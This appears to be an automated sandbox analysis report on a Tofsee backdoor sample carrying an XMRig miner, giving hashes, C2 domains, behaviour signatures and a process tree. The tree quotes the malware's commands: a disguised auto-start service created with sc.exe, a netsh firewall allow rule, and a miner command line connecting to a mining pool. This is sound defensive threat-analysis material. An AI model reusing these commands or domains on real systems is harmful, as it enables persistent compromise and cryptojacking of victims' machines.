Analysis

  • max time kernel
    143s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    21/12/2022, 23:44

General

  • Target
    file.exe
  • Size 228KB
  • Sample221221-3q5eksdf28
  • SHA256 312d1edf81e34fd80ee1f9acb91a5d22226212200793a83b44fdaae669028a94
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:892
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nwwnubfk\
      2⤵
        PID:1732
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rxpejct.exe" C:\Windows\SysWOW64\nwwnubfk\
        2⤵
          PID:2028
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nwwnubfk binPath= "C:\Windows\SysWOW64\nwwnubfk\rxpejct.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nwwnubfk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nwwnubfk
          2⤵
          • Launches sc.exe
          PID:624
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1828
      • C:\Windows\SysWOW64\nwwnubfk\rxpejct.exe
        C:\Windows\SysWOW64\nwwnubfk\rxpejct.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1196
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1976
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:584

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            rxpejct.exe

            • Path C:\Users\Admin\AppData\Local\Temp\rxpejct.exe
            • Size 12.6MB
            • SHA256 d107f7aaa72f10e6ac4e709aa5332cbf89efbb62cc0d4c58a0662b92251acdea
            • MD5 SHA1 SHA512 SSDEEP

            rxpejct.exe

            • Path C:\Windows\SysWOW64\nwwnubfk\rxpejct.exe
            • Size 12.6MB
            • SHA256 d107f7aaa72f10e6ac4e709aa5332cbf89efbb62cc0d4c58a0662b92251acdea
            • MD5 SHA1 SHA512 SSDEEP

            memory/584-101-0x0000000000150000-0x0000000000241000-memory.dmp

            memory/584-103-0x0000000000150000-0x0000000000241000-memory.dmp

            memory/892-57-0x00000000005A8000-0x00000000005B9000-memory.dmp

            memory/892-59-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/892-58-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/892-68-0x00000000005A8000-0x00000000005B9000-memory.dmp

            memory/892-69-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/892-54-0x00000000005A8000-0x00000000005B9000-memory.dmp

            memory/892-55-0x00000000766D1000-0x00000000766D3000-memory.dmp

            memory/1196-78-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/1196-66-0x00000000002A8000-0x00000000002B9000-memory.dmp

            memory/1196-77-0x00000000002A8000-0x00000000002B9000-memory.dmp

            memory/1976-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1976-81-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1976-82-0x0000000001970000-0x0000000001B7F000-memory.dmp

            memory/1976-88-0x0000000000160000-0x0000000000170000-memory.dmp

            memory/1976-85-0x0000000000110000-0x0000000000116000-memory.dmp

            memory/1976-91-0x0000000000170000-0x0000000000175000-memory.dmp

            memory/1976-94-0x0000000005510000-0x000000000591B000-memory.dmp

            memory/1976-97-0x0000000000260000-0x0000000000267000-memory.dmp

            memory/1976-100-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1976-74-0x0000000000080000-0x0000000000095000-memory.dmp